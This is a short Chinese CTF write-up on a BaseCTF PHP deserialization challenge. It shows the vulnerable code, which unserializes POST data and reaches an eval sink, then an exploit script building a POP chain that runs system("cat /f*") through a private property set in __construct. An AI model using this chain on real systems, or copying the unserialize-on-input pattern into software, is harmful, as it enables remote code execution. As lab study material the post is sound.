反序列化中私有属性无法访问的解决办法
huarui反序列化中私有属性无法访问的解决办法
前情提要
今天做了一下basectf 的反序列化,遇到了一个php语言版本较低,导致无法解析私有属性的访问的题目。
原题
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 
 | <?phphighlight_file(__FILE__);
 
 class Sink
 {
 private $cmd = 'echo 123;';
 public function __toString()
 {
 eval($this->cmd);
 }
 }
 
 class Shark
 {
 private $word = 'Hello, World!';
 public function __invoke()
 {
 echo 'Shark says:' . $this->word;
 }
 }
 
 class Sea
 {
 public $animal;
 public function __get($name)
 {
 $sea_ani = $this->animal;
 echo 'In a deep deep sea, there is a ' . $sea_ani();
 }
 }
 
 class Nature
 {
 public $sea;
 
 public function __destruct()
 {
 echo $this->sea->see;
 }
 }
 
 if ($_POST['nature']) {
 $nature = unserialize($_POST['nature']);
 }
 
 | 
EXP
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 
 | <?php
 
 class Sink
 {
 private $cmd = 'system("cat /f*");';
 
 }
 
 class Shark
 {
 private $word;
 public function __construct()
 {
 $this->word=new Sink();
 }
 
 }
 
 class Sea
 {
 public $animal;
 
 }
 
 class Nature
 {
 public $sea;
 
 
 }
 
 $x=new Sink;
 $y=new Shark;
 $z=new Sea;
 $a=new Nature;
 
 $a->sea=$z;
 $z->animal=$y;
 
 
 echo urlencode(serialize($a));
 
 ?>
 
 
 | 
办法
遇到私有属性的时候可以直接在exp中利用__construct()进行访问
| 12
 3
 4
 5
 6
 7
 8
 9
 
 | class Shark{
 private $word;
 public function __construct()
 {
 $this->word=new Sink();
 }
 
 }
 
 |